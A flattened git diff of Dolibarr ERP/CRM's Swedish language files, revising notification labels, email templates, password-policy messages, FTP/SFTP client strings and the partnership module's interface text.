tecknat +Notify_BILL_SUPPLIER_SENTBYMAIL=Leverantörsfaktura skickad +Notify_BILL_SUPPLIER_CANCELED=Leverantörsfaktura avbruten +Notify_CONTRACT_VALIDATE=Kontrakt bekräftat +Notify_FICHINTER_VALIDATE=Intervention bekräftad +Notify_FICHINTER_ADD_CONTACT=Kontakt tillagd i intervention +Notify_FICHINTER_SENTBYMAIL=Intervention skickad +Notify_SHIPPING_VALIDATE=Leverans bekräftad +Notify_SHIPPING_SENTBYMAIL=Leverans skickad +Notify_MEMBER_VALIDATE=Medlem bekräftad +Notify_MEMBER_MODIFY=Medlem ändrad +Notify_MEMBER_SUBSCRIPTION=Medlem prenumererar Notify_MEMBER_RESILIATE=Medlem avslutad -Notify_MEMBER_DELETE=Elementet bort -Notify_PROJECT_CREATE=Projekt skapande -Notify_TASK_CREATE=Task skapade -Notify_TASK_MODIFY=Task modifierad -Notify_TASK_DELETE=Uppgift utgår -Notify_EXPENSE_REPORT_VALIDATE=Utläggsrapport bekräftat (godkännande krävs) +Notify_MEMBER_DELETE=Medlem raderad +Notify_PROJECT_CREATE=Projekt skapades +Notify_TASK_CREATE=Uppgift skapad +Notify_TASK_MODIFY=Uppgift ändrad +Notify_TASK_DELETE=Uppgift raderad +Notify_EXPENSE_REPORT_VALIDATE=Kostnadsrapport bekräftad (godkännande krävs) Notify_EXPENSE_REPORT_APPROVE=Kostnadsrapport godkänd -Notify_HOLIDAY_VALIDATE=Lämna förfrågan bekräftat (godkännande krävs) -Notify_HOLIDAY_APPROVE=Lämna förfrågan godkänd -Notify_ACTION_CREATE=Tillagd till agenda +Notify_HOLIDAY_VALIDATE=Ledighetsansökan bekräftad (godkännande krävs) +Notify_HOLIDAY_APPROVE=Ledighetsansökan godkänd +Notify_ACTION_CREATE=Tillagd i dagordning SeeModuleSetup=Se inställning av modul %s -NbOfAttachedFiles=Antal bifogade filer / dokument -TotalSizeOfAttachedFiles=Total storlek på bifogade filer / dokument +NbOfAttachedFiles=Antal bifogade filer/dokument +TotalSizeOfAttachedFiles=Total storlek på bifogade filer/dokument MaxSize=Maximal storlek -AttachANewFile=Bifoga en ny fil / dokument +AttachANewFile=Bifoga en ny fil/dokument LinkedObject=Länkat objekt -NbOfActiveNotifications=Antal anmälningar (antal mottagarens e-postmeddelanden) -PredefinedMailTest=__(Hello)__\nDetta är ett testmail skickat till __EMAIL__.\nDessa rader är separerade med radbrytning.\n\n__USER_SIGNATURE__ -PredefinedMailTestHtml=__(Hello)__
      Detta är ett testmailskickat till __EMAIL__ (ordet testmail ska vara i fet text).
      Linjerna är separerade med radbrytning.

      __USER_SIGNATURE__ -PredefinedMailContentContract=__(Hej)__\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendInvoice=__(Hej)__\n\nVänligen hitta faktura __REF__ bifogad\n\n__ONLINE_PAYMENT_TEXT_AND_URL__\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendInvoiceReminder=__(Hej)__\n\nVi vill påminna dig om att fakturan __REF__ verkar inte ha betalats. En kopia av fakturan är bifogad som en påminnelse.\n\n__ONLINE_PAYMENT_TEXT_AND_URL__\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendProposal=__(Hej)__\n\nVänligen hitta det kommersiella förslaget __REF__ bifogat\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendSupplierProposal=__(Hej)__\n\nVänligen hitta prisförfrågan __REF__ bifogad\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendOrder=__(Hej)__\n\nVänligen hitta order __REF__ bifogad\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendSupplierOrder=__(Hej)__\n\nVänligen hitta vår beställning __REF__ bifogad\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendSupplierInvoice=__(Hej)__\n\nVänligen hitta faktura __REF__ bifogad\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendShipping=__(Hej)__\n\nVänligen hitta frakt __REF__ bifogad\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendFichInter=__(Hej)__\n\nVänligen hitta intervention __REF__ bifogad\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ +NbOfActiveNotifications=Antal notiser (antal mottagare av e-post) +PredefinedMailTest=__(Hejsan,)__\nDetta är ett testmail skickat till __EMAIL__.\nDessa rader är separerade med radbrytning.\n\n__USER_SIGNATURE__ +PredefinedMailTestHtml=__(Hejsan,)__
      Detta är ett testmailskickat till __EMAIL__ (ordet testmail ska vara i fet text).
      Linjerna är separerade med radbrytning.

      __USER_SIGNATURE__ +PredefinedMailContentContract=__(Hejsan,)__\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendInvoice=__(Hejsan,)__\n\nVänligen se bifogad faktura __REF__ vid detta mail\n\n__ONLINE_PAYMENT_TEXT_AND_URL__\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendInvoiceReminder=__(Hejsan,)__\n\nEnligt våra noteringar har faktura __REF__ inte betalats. En kopia av fakturan är bifogad som en påminnelse.\n\n__ONLINE_PAYMENT_TEXT_AND_URL__\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendProposal=__(Hejsan,)__\n\nTack för er förfrågan! Bifogat detta mail finns vår offert __REF__ \n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendSupplierProposal=__(Hejsan,)__\n\nBifogat detta mail finns vår förfrågan __REF__ \n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendOrder=__(Hejsan,)__\n\nTack för er beställning! Vårt ordererkännande __REF__ är bifogat detta mail\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendSupplierOrder=__(Hejsan)__\n\nVår beställning __REF__ är bifogad detta mail\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendSupplierInvoice=__(Hejsan,)__\n\nVår faktura __REF__ är bifogad detta mail\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendShipping=__(Hejsan,)__\n\nBifogat detta mail är vår leveranssedel __REF__ \n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ +PredefinedMailContentSendFichInter=__(Hejsan,)__\n\nBifogat detta mail är vår intervention __REF__ \n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ PredefinedMailContentLink=Du kan klicka på länken nedan för att göra din betalning om den inte redan är klar.\n\n%s\n\n PredefinedMailContentGeneric=__(Hej)__\n\n\n__(Vänliga hälsningar)__\n\n__USER_SIGNATURE__ -PredefinedMailContentSendActionComm=Händelsepåminnelse "__EVENT_LABEL__" den __EVENT_DATE__ kl __EVENT_TIME__

      Detta är ett automatiskt meddelande, det går inte att besvara. -DemoDesc=Dolibarr är en kompakt ERP / CRM som stöder flera affärsmoduler. En demo som visar alla moduler ger ingen mening eftersom detta scenario aldrig uppstår (flera hundra tillgängliga). Det finns därför flera demoprofiler tillgängliga. +PredefinedMailContentSendActionComm=Påminnelse för händelsen __EVENT_LABEL__ den __EVENT_DATE__ kl __EVENT_TIME__

      Detta är ett automatiskt meddelande, det går inte att svara på. +DemoDesc=Dolibarr är ett kompakt ERP/CRM som stöder flera affärsmoduler. En demo som visar alla moduler är helt irrelevant eftersom detta scenario aldrig uppstår då flera hundra är tillgängliga. Det finns därför flera olika profiler för demo tillgängliga. ChooseYourDemoProfil=Välj den demoprofil som bäst passar dina behov ... ChooseYourDemoProfilMore=... eller bygg din egen profil
      (manuellt modulval) -DemoFundation=Hantera medlemmar av en stiftelse -DemoFundation2=Hantera medlemmar och bankkonto i en stiftelse -DemoCompanyServiceOnly=Endast företag eller frilansförsäljning -DemoCompanyShopWithCashDesk=Manage a shop with a cash box -DemoCompanyProductAndStocks=Handla produkter som säljs med Point of Sales +DemoFundation=Hantera medlemmar i en stiftelse +DemoFundation2=Hantera medlemmar och bankkonton i en stiftelse +DemoCompanyServiceOnly=Företag eller frilanstjänster +DemoCompanyShopWithCashDesk=Hantera en butik med en kassa +DemoCompanyProductAndStocks=Butik med produkter och kassa DemoCompanyManufacturing=Företag som tillverkar produkter DemoCompanyAll=Företag med flera aktiviteter (alla huvudmoduler) CreatedBy=Skapad av %s -ModifiedBy=Uppdaterad av %s +ModifiedBy=Ändrad av %s ValidatedBy=Bekräftad av %s -SignedBy=Signerat av %s +SignedBy=Signerad av %s ClosedBy=Stängt av %s -CreatedById=Användarkod som skapade +CreatedById=Användar-ID som skapade ModifiedById=Användar-ID som gjorde senaste ändringen -ValidatedById=Användarkod som bekräftats -CanceledById=Användar-ID som annulleras -ClosedById=Användar-ID som stängd +ValidatedById=Användar-ID som bekräftade +CanceledById=Användar-ID som avbröt +ClosedById=Användar-ID som stängde CreatedByLogin=Användarinloggning som skapade ModifiedByLogin=Användarinloggning som gjorde senaste ändringen -ValidatedByLogin=Användarinloggning som bekräftats -CanceledByLogin=Användarinloggning som annullerats +ValidatedByLogin=Användarinloggning som bekräftade +CanceledByLogin=Användarinloggning som avbröt ClosedByLogin=Användarinloggning som stängde -FileWasRemoved=Arkiv %s togs bort -DirWasRemoved=Nummer %s togs bort +FileWasRemoved=Filen %s raderades +DirWasRemoved=Katalogen %s raderades FeatureNotYetAvailable=Funktionen är ännu inte tillgänglig i den nuvarande versionen FeatureNotAvailableOnDevicesWithoutMouse=Funktionen är inte tillgänglig på enheter utan pekdon. FeaturesSupported=Stödda funktioner Width=Bredd Height=Höjd Depth=Djup -Top=Topp +Top=Ovansida Bottom=Botten Left=Vänster Right=Höger CalculatedWeight=Beräknad vikt -CalculatedVolume=Beräknade volymen +CalculatedVolume=Beräknad volymen Weight=Vikt WeightUnitton=ton WeightUnitkg=kg @@ -179,128 +181,159 @@ SizeUnitmm=mm SizeUnitinch=tum SizeUnitfoot=fot SizeUnitpoint=poäng -BugTracker=Bug tracker -SendNewPasswordDesc=Denna blankett låter dig begära ett nytt lösenord. Den skickas till din e-postadress.
      Ändringen kommer att träda i kraft när du klickar på länken för bekräftelse i e-postmeddelandet.
      Kontrollera din inkorg. +BugTracker=Felsökare +SendNewPasswordDesc=Med detta formulär kan du begära ett nytt lösenord. Den skickas till din e-postadress.
      Ändringen kommer att träda i kraft när du klickar på länken för bekräftelse i e-postmeddelandet.
      Kontrollera din inkorg. +EnterNewPasswordHere=Ange ditt nya lösenord här BackToLoginPage=Tillbaka till inloggningssidan -AuthenticationDoesNotAllowSendNewPassword=Autentiseringsläge är %s.
      I detta läge kan Dolibarr vet inte heller ändra ditt lösenord.
      Kontakta systemadministratören om du vill ändra ditt lösenord. +AuthenticationDoesNotAllowSendNewPassword=Autentiseringsläge är %s.
      I detta läge kan Dolibarr inte känna till eller ändra ditt lösenord.
      Kontakta systemadministratören om du vill ändra ditt lösenord. EnableGDLibraryDesc=Installera eller aktivera GD-biblioteket på din PHP-installation för att använda det här alternativet. -ProfIdShortDesc=Prof Id %s är en information är beroende av tredje part land.
      Till exempel för landets %s, det är kod %s. -DolibarrDemo=Dolibarr ERP / CRM-demo -StatsByNumberOfUnits=Statistik för summan av produkter / tjänster -StatsByNumberOfEntities=Statistik för antalet valda typer (antal fakturor eller ordrar...) -NumberOfProposals=Antal förslag -NumberOfCustomerOrders=Antal försäljningsorder -NumberOfCustomerInvoices=Antal kundfakturor -NumberOfSupplierProposals=Antal leverantörsförslag +ProfIdShortDesc=Prof Id %s är en information beroende på tredjeparts land.
      Till exempel för landets %s, som är kod %s. +DolibarrDemo=Demo av Dolibarr ERP/CRM +StatsByNumberOfUnits=Statistik för summan av antalet produkter/tjänster +StatsByNumberOfEntities=Statistik för antalet valda typer (antal fakturor eller order...) +NumberOfProposals=Antal offerter +NumberOfCustomerOrders=Antal order +NumberOfCustomerInvoices=Antal fakturor +NumberOfSupplierProposals=Antal leverantörsofferter NumberOfSupplierOrders=Antal inköpsorder NumberOfSupplierInvoices=Antal leverantörsfakturor NumberOfContracts=Antal avtal NumberOfMos=Antal tillverkningsordrar -NumberOfUnitsProposals=Antal enheter på förslag -NumberOfUnitsCustomerOrders=Antal enheter på försäljningsorder -NumberOfUnitsCustomerInvoices=Antal enheter på kundfakturor -NumberOfUnitsSupplierProposals=Antal enheter på leverantörsförslag -NumberOfUnitsSupplierOrders=Antal enheter på inköpsorder -NumberOfUnitsSupplierInvoices=Antal enheter på leverantörsfakturor -NumberOfUnitsContracts=Antal produkter på avtal -NumberOfUnitsMos=Antal produkter i tillverkningsordrar -EMailTextInterventionAddedContact=Ett nytt ingripande %s har tilldelats dig. +NumberOfUnitsProposals=Antal enheter i offerter +NumberOfUnitsCustomerOrders=Antal enheter i order +NumberOfUnitsCustomerInvoices=Antal enheter i fakturor +NumberOfUnitsSupplierProposals=Antal enheter i leverantörsofferter +NumberOfUnitsSupplierOrders=Antal enheter i inköpsorder +NumberOfUnitsSupplierInvoices=Antal enheter i leverantörsfakturor +NumberOfUnitsContracts=Antal produkter i avtal +NumberOfUnitsMos=Antal produkter i tillverkningsorder +EMailTextInterventionAddedContact=Den nya interventionen %s har tilldelats dig. EMailTextInterventionValidated=Interventionen %s har bekräftats. EMailTextInvoiceValidated=Faktura %s har bekräftats. EMailTextInvoicePayed=Faktura %s har betalats. EMailTextProposalValidated=Förslag %s har bekräftats. -EMailTextProposalClosedSigned=Förslag %s har avslutats undertecknat. +EMailTextProposalClosedSigned=Förslag %s har signerats och stängts. +EMailTextProposalClosedSignedWeb=Förslag %s har stängts signerat på portalsidan. +EMailTextProposalClosedRefused=Förslag %s har avslutats avslogs. +EMailTextProposalClosedRefusedWeb=Förslag %s har stängts avvisat på portalsidan. EMailTextOrderValidated=Order %s har bekräftats. -EMailTextOrderApproved=Beställningen %s har godkänts. -EMailTextOrderValidatedBy=Order %s har spelats in av %s. -EMailTextOrderApprovedBy=Beställningen %s har godkänts av %s. -EMailTextOrderRefused=Beställningen %s har vägrats. -EMailTextOrderRefusedBy=Beställningen %s har blivit nekad av %s. -EMailTextExpeditionValidated=Frakt %s har bekräftats. +EMailTextOrderApproved=Order %s har godkänts. +EMailTextOrderValidatedBy=Order %s har registrerats av %s. +EMailTextOrderApprovedBy=Order %s har godkänts av %s. +EMailTextOrderRefused=Order %s har nekats. +EMailTextOrderRefusedBy=Order %s har nekats av %s. +EMailTextExpeditionValidated=Leveransen %s har bekräftats. EMailTextExpenseReportValidated=Kostnadsrapport %s har bekräftats. EMailTextExpenseReportApproved=Kostnadsrapport %s har godkänts. -EMailTextHolidayValidated=Lämna förfrågan %s har bekräftats. -EMailTextHolidayApproved=Förfrågan %s har godkänts. -EMailTextActionAdded=Åtgärden %s har lagts till i agendan. -ImportedWithSet=Import dataunderlaget -DolibarrNotification=Automatisk anmälan -ResizeDesc=Ange nya bredd eller ny höjd. Förhållandet kommer att hållas under storleksändring ... +EMailTextHolidayValidated=Ledighetsansökan %s har bekräftats. +EMailTextHolidayApproved=Ledighetsansökan %s har godkänts. +EMailTextActionAdded=Åtgärden %s har lagts till i dagordningen. +ImportedWithSet=Importera data +DolibarrNotification=Automatisk notis +ResizeDesc=Ange ny bredd ELLER ny höjd. Förhållandet kommer att bibehållas under storleksändring ... NewLength=Ny bredd NewHeight=Ny höjd NewSizeAfterCropping=Ny storlek efter beskärning -DefineNewAreaToPick=Definiera nya området på bilden för att plocka (till vänster klicka på bilden och dra tills du kommer till motsatt hörn) +DefineNewAreaToPick=Ange nytt område på bilden för att välja (till vänster klicka på bilden och dra tills du kommer till motsatt hörn) CurrentInformationOnImage=Det här verktyget är utformat för att hjälpa dig att ändra storlek eller beskära en bild. Detta är informationen om den aktuella redigerade bilden ImageEditor=Bildredigerare YouReceiveMailBecauseOfNotification=Du får detta meddelande eftersom din e-post har lagts till i förteckningen över de mål som skall informeras om särskilda händelser i %s programvara %s. YouReceiveMailBecauseOfNotification2=Denna händelse är följande: -ThisIsListOfModules=Detta är en lista över moduler förvalda genom denna demo profil (endast vanligaste modulerna är synas i denna demo). Redigera den här att ha en mer personlig demo och klicka på "Start". -UseAdvancedPerms=Använd den avancerade behörigheter för vissa moduler +ThisIsListOfModules=Detta är en lista över moduler förvalda genom denna demoprofil (endast vanligaste modulerna visas i denna demo). Redigera den här för att ha en mer personlig demo och klicka på "Start". +UseAdvancedPerms=Använd avancerade rättigheter för vissa moduler FileFormat=Filformat SelectAColor=Välj en färg AddFiles=Lägg till filer -StartUpload=Starta upp -CancelUpload=Avbryt upp +StartUpload=Ladda upp +CancelUpload=Avbryt uppladdning FileIsTooBig=Filer är för stor -PleaseBePatient=Ha tålamod ... +PleaseBePatient=Alldeles strax färdig ... NewPassword=Nytt lösenord ResetPassword=Återställ lösenord RequestToResetPasswordReceived=En begäran om att ändra ditt lösenord har tagits emot. NewKeyIs=Det här är din nya nycklar för att logga in -NewKeyWillBe=Din nya knappen för att logga in på programvaran kommer att vara +NewKeyWillBe=Din nya knappen för att logga in kommer att vara ClickHereToGoTo=Klicka här för att gå till %s -YouMustClickToChange=Du måste dock först klicka på följande länk för att bekräfta detta lösenord förändring +YouMustClickToChange=Du måste dock först klicka på följande länk för att bekräfta detta lösenord ConfirmPasswordChange=Bekräfta lösenordsbyte -ForgetIfNothing=Om du inte har begärt denna förändring, bara glömma detta mail. Dina referenser förvaras säkert. -IfAmountHigherThan=Om mängden högre än %s +ForgetIfNothing=Om du inte har begärt denna förändring kan du bortse från detta mail. Dina uppgifter förvaras säkert! +IfAmountHigherThan=Om värdet är högre än %s SourcesRepository=Förvaring för källor Chart=Diagram -PassEncoding=Lösenordskodning -PermissionsAdd=Tillstånd tillagda -PermissionsDelete=Tillstånden har tagits bort -YourPasswordMustHaveAtLeastXChars=Ditt lösenord måste ha minst %s chars -PasswordNeedAtLeastXUpperCaseChars=The password need at least %s upper case chars -PasswordNeedAtLeastXDigitChars=The password need at least %s numeric chars -PasswordNeedAtLeastXSpecialChars=The password need at least %s special chars -PasswordNeedNoXConsecutiveChars=The password must not have %s consecutive similar chars -YourPasswordHasBeenReset=Ditt lösenord har återställts framgångsrikt +PassEncoding=Lösenordskryptering +PermissionsAdd=Rättigheter tillagda +PermissionsDelete=Rättigheter raderade +YourPasswordMustHaveAtLeastXChars=Ditt lösenord måste ha minst %s tecken +PasswordNeedAtLeastXUpperCaseChars=Lösenordet behöver minst %s versal(er) +PasswordNeedAtLeastXDigitChars=Lösenordet behöver minst %s numeriska tecken +PasswordNeedAtLeastXSpecialChars=Lösenordet behöver minst %s specialtecken +PasswordNeedNoXConsecutiveChars=Lösenordet får inte ha %s på varandra följande liknande tecken +YourPasswordHasBeenReset=Ditt lösenord har återställts ApplicantIpAddress=Sökandens IP-adress SMSSentTo=SMS skickat till %s MissingIds=Saknande ID -ThirdPartyCreatedByEmailCollector=Tredje part skapad av e-post samlare från e-post MSGID %s -ContactCreatedByEmailCollector=Kontakt / adress skapad via e-post samlare från email MSGID %s -ProjectCreatedByEmailCollector=Projekt skapat av e-post samlare från email MSGID %s -TicketCreatedByEmailCollector=Biljett skapad av e-post samlare från email MSGID %s +ThirdPartyCreatedByEmailCollector=Tredjepart skapad av e-postsamlare från e-post MSGID %s +ContactCreatedByEmailCollector=Kontakt/adress skapad via e-postsamlare från email MSGID %s +ProjectCreatedByEmailCollector=Projekt skapat av e-postsamlare från email MSGID %s +TicketCreatedByEmailCollector=Ärende skapat av e-postsamlare från email MSGID %s OpeningHoursFormatDesc=Använd "-" för att separera öppettider.
      Använd mellanslag för flera tidpunkter.
      Exempel: 8-12 14-18 SuffixSessionName=Suffix för sessionens namn -LoginWith=Login with %s +LoginWith=Logga in med %s ##### Export ##### -ExportsArea=Export område +ExportsArea=Exportområde AvailableFormats=Tillgängliga format LibraryUsed=Biblioteket som används LibraryVersion=Bibliotekversion -ExportableDatas=Exporteras data -NoExportableData=Inga exporteras data (ingen moduler med exporteras laddats uppgifter, eller behörigheter som saknas) +ExportableDatas=Exporterbar data +NoExportableData=Ingen exporterbar data (inga moduler med exporterbar data laddad, eller saknade rättigheter) ##### External sites ##### -WebsiteSetup=Uppställning av modulens webbplats -WEBSITE_PAGEURL=Webbadressen +WebsiteSetup=Inställningar för modulen webbplats +WEBSITE_PAGEURL=Webbadress WEBSITE_TITLE=Titel WEBSITE_DESCRIPTION=Beskrivning WEBSITE_IMAGE=Bild -WEBSITE_IMAGEDesc=Relativ väg för bildmediet. Du kan hålla det tomt eftersom det sällan används (det kan användas av dynamiskt innehåll för att visa en miniatyr i en lista med blogginlägg). Använd __WEBSITE_KEY__ i sökvägen om sökvägen beror på webbplatsens namn (till exempel: image / __ WEBSITE_KEY __ / stories / myimage.png). +WEBSITE_IMAGEDesc=Relativ väg för bilden. Du kan hålla det tomt eftersom det sällan används (det kan användas av dynamiskt innehåll för att visa en miniatyr i en lista med blogginlägg). Använd __WEBSITE_KEY__ i sökvägen om sökvägen beror på webbplatsens namn (till exempel: image / __ WEBSITE_KEY __ / stories / myimage.png). WEBSITE_KEYWORDS=Nyckelord LinesToImport=Rader att importera MemoryUsage=Minnesanvändning -RequestDuration=Varaktighet för förfrågan +RequestDuration=Varaktighet på förfrågan ProductsPerPopularity=Produkter/tjänster baserat på populäritet -PopuProp=Produkter/tjänster baserat på populäritet i förslag -PopuCom=Produkter/tjänster baserat på populäritet i ordrar -ProductStatistics=Produkter/tjänster statistik -NbOfQtyInOrders=Antal i ordrar +PopuProp=Produkter/tjänster baserat på populäritet i offerter +PopuCom=Produkter/tjänster baserat på populäritet i order +ProductStatistics=Statistik för produkter/tjänster +NbOfQtyInOrders=Antal i order SelectTheTypeOfObjectToAnalyze=Välj ett objekt för att visa statistik... -ConfirmBtnCommonContent = Är du säker på att du vill "%s"? -ConfirmBtnCommonTitle = Bekräfta din handling +ConfirmBtnCommonContent = Är du säker på att du vill %s? +ConfirmBtnCommonTitle = Bekräfta åtgärd CloseDialog = Stäng -Autofill = Autofill +Autofill = Autofyll + +# externalsite +ExternalSiteSetup=Ange länk till extern webbplats +ExternalSiteURL=Extern webbadress för HTML för iframe-innehåll +ExternalSiteModuleNotComplete=Modulen ExternalSite är inte korrekt konfigurerad. +ExampleMyMenuEntry=Min menyposten + +# ftp +FTPClientSetup=Inställningar för FTP- eller SFTP-klientmodul +NewFTPClient=Ny FTP/SFTP-anslutning +FTPArea=FTP/SFTP område +FTPAreaDesc=Denna vy visar en FTP- eller SFTP-server. +SetupOfFTPClientModuleNotComplete=Installationen av FTP- eller SFTP-klientmodulen verkar vara ofullständig +FTPFeatureNotSupportedByYourPHP=Din PHP stöder inte FTP- eller SFTP-funktioner +FailedToConnectToFTPServer=Det gick inte att ansluta till servern (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Det gick inte att logga in på servern med angivet användarnamn/lösenord +FTPFailedToRemoveFile=Misslyckades med att ta bort fil %s. +FTPFailedToRemoveDir=Det gick inte att ta bort katalogen %s: kontrollera rättigheter och att katalogen är tom. +FTPPassiveMode=Passivt läge +ChooseAFTPEntryIntoMenu=Välj en FTP/SFTP-plats från menyn... +FailedToGetFile=Filhämtning misslyckades %s +ErrorFTPNodisconnect=Fel vid frånkoppling av FTP/SFTP-server +FileWasUpload=Filen %s laddades upp +FTPFailedToUploadFile=Det gick inte att ladda upp filen %s. +AddFolder=Skapa mapp +FileWasCreateFolder=Katalogen %s har skapats +FTPFailedToCreateFolder=Det gick inte att skapa mappen %s. diff --git a/htdocs/langs/sv_SE/partnership.lang b/htdocs/langs/sv_SE/partnership.lang index 18c772f1f50..ddc4c3e1bfe 100644 --- a/htdocs/langs/sv_SE/partnership.lang +++ b/htdocs/langs/sv_SE/partnership.lang @@ -16,77 +16,81 @@ # # Generic # -ModulePartnershipName=Partnerskapshantering -PartnershipDescription=Partnerskapshanteringsmodul -PartnershipDescriptionLong= Partnerskapshanteringsmodul -Partnership=Partnership -AddPartnership=Lägg till partnerskap -CancelPartnershipForExpiredMembers=Partnerskap: Avbryt partnerskap med inaktiva abonnemang -PartnershipCheckBacklink=Partnerskap: Kontrollera hänvisningslänk +ModulePartnershipName=Hantering av partners +PartnershipDescription=Modul för hantering av partners +PartnershipDescriptionLong= Modul för hantering av partners +Partnership=Partner +Partnerships=Partners +AddPartnership=Lägg till partner +CancelPartnershipForExpiredMembers=Partners: Avbryt partners med inaktiva prenumerationer +PartnershipCheckBacklink=Partners: Kontrollera hänvisningslänk # # Menu # -NewPartnership=Nytt partnerskap -ListOfPartnerships=Lista över partnerskap +NewPartnership=Nytt partner +NewPartnershipbyWeb=Your partnership request has been added successfully. We may contact you soon... +ListOfPartnerships=Lista över partners # # Admin page # -PartnershipSetup=Partnerskapsupplägg -PartnershipAbout=Om partnerskap -PartnershipAboutPage=Om partnerskapssidan -partnershipforthirdpartyormember=Partnerstatus måste ställas in på "tredje part" eller "medlem" -PARTNERSHIP_IS_MANAGED_FOR=Partnerskap hanterad för -PARTNERSHIP_BACKLINKS_TO_CHECK=Bakåtlänkar att kontrollera -PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL=Antal dagar innan partnerskap avbryts när ett abonnemang har löpt ut -ReferingWebsiteCheck=Kontroll av webbplatsens hänvisning +PartnershipSetup=Inställningar för partners +PartnershipAbout=Om partners +PartnershipAboutPage=Partners om-sida +partnershipforthirdpartyormember=Partnerstatus måste anges till "tredjepart" eller "medlem" +PARTNERSHIP_IS_MANAGED_FOR=Partners hanterad åt +PARTNERSHIP_BACKLINKS_TO_CHECK=Baklänkar att kontrollera +PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL=Antal dagar innan partners avbryts när ett prenumeration har löpt ut +ReferingWebsiteCheck=Kontroll av webbplatsens hänvisningar ReferingWebsiteCheckDesc=Du kan aktivera en funktion för att kontrollera om din partner har länkat tillbaka till er hemsida via deras egen hemsida. +PublicFormRegistrationPartnerDesc=Dolibarr kan ge dig en offentlig URL/webbplats så att externa besökare kan begära att få bli partner. # # Object # -DeletePartnership=Ta bort partnerskap -PartnershipDedicatedToThisThirdParty=Partnerskap dedikerat till denna kund/leverantör -PartnershipDedicatedToThisMember=Partnerskap tillägnad denna medlem +DeletePartnership=Ta bort partner +PartnershipDedicatedToThisThirdParty=Partnerskap dedikerat denna kund/leverantör +PartnershipDedicatedToThisMember=Partnerskap dedikerat denna medlem DatePartnershipStart=Startdatum DatePartnershipEnd=Slutdatum ReasonDecline=Avslagsanledning ReasonDeclineOrCancel=Avslagsanledning -PartnershipAlreadyExist=Partnerskap finns redan -ManagePartnership=Hantera partnerskap -BacklinkNotFoundOnPartnerWebsite=Backlink hittades inte på partnerwebbplatsen +PartnershipAlreadyExist=Partner finns redan +ManagePartnership=Hantera partner +BacklinkNotFoundOnPartnerWebsite=Baklänk hittades inte på partners webbplats ConfirmClosePartnershipAsk=Är du säker på att du vill avbryta detta partnerskap? -PartnershipType=Partnerskapstyp -PartnershipRefApproved=Partnership %s approved +PartnershipType=Partnertyp +PartnershipRefApproved=Partnern %s godkänd +KeywordToCheckInWebsite=Om du vill kontrollera att ett givet sökord finns på webbplatsen för varje partner, anger du nyckelordet här +PartnershipDraft=Utkast +PartnershipAccepted=Accepterad +PartnershipRefused=Nekad +PartnershipCanceled=Avbruten +PartnershipManagedFor=Partnerområde # # Template Mail # -SendingEmailOnPartnershipWillSoonBeCanceled=Partnerskap kommer snart att avbrytas -SendingEmailOnPartnershipRefused=Partnerskap nekat -SendingEmailOnPartnershipAccepted=Partnerskap accepterat -SendingEmailOnPartnershipCanceled=Partnerskap avbrutet +SendingEmailOnPartnershipWillSoonBeCanceled=Partnerskapet kommer snart att avbrytas +SendingEmailOnPartnershipRefused=Partner nekad +SendingEmailOnPartnershipAccepted=Partner accepterad +SendingEmailOnPartnershipCanceled=Partnerskap avbruten YourPartnershipWillSoonBeCanceledTopic=Partnerskap kommer snart att avbrytas -YourPartnershipRefusedTopic=Partnerskap nekat -YourPartnershipAcceptedTopic=Partnerskap accepterat -YourPartnershipCanceledTopic=Partnerskap avbrutet +YourPartnershipRefusedTopic=Partner nekad +YourPartnershipAcceptedTopic=Partner accepterad +YourPartnershipCanceledTopic=Partnerskap avbruten -YourPartnershipWillSoonBeCanceledContent=Vi informerar dig om att ditt partnerskap snart kommer att avbrytas (Backlink hittades inte) -YourPartnershipRefusedContent=Vi vill informera dig om att parnterskapsförfrågan har blivit nekad. -YourPartnershipAcceptedContent=Vi vill informera dig om att partnerskapsförfrågan har blivit accepterad -YourPartnershipCanceledContent=Vi vill informera dig om att partnerskapsförfrågan har blivit avbruten +YourPartnershipWillSoonBeCanceledContent=Vi vill informera dig om att ditt partnerskap snart kommer att avbrytas (baklänk hittades inte) +YourPartnershipRefusedContent=Vi vill informera dig om att din förfrågan om partnerskap har nekats. +YourPartnershipAcceptedContent=Vi vill informera dig om att din fråga om partnerskap har accepterats +YourPartnershipCanceledContent=Vi vill informera dig om att din förfrågan om partnerskap har avbrutits -CountLastUrlCheckError=Number of errors for last URL check -LastCheckBacklink=Date of last URL check +CountLastUrlCheckError=Antal fel för senaste URL-kontroll +LastCheckBacklink=Datum för senaste URL-kontroll ReasonDeclineOrCancel=Avslagsanledning -# -# Status -# -PartnershipDraft=Utkast -PartnershipAccepted=Accepterad -PartnershipRefused=Refused -PartnershipCanceled=Annullerad -PartnershipManagedFor=Partnerutrymme 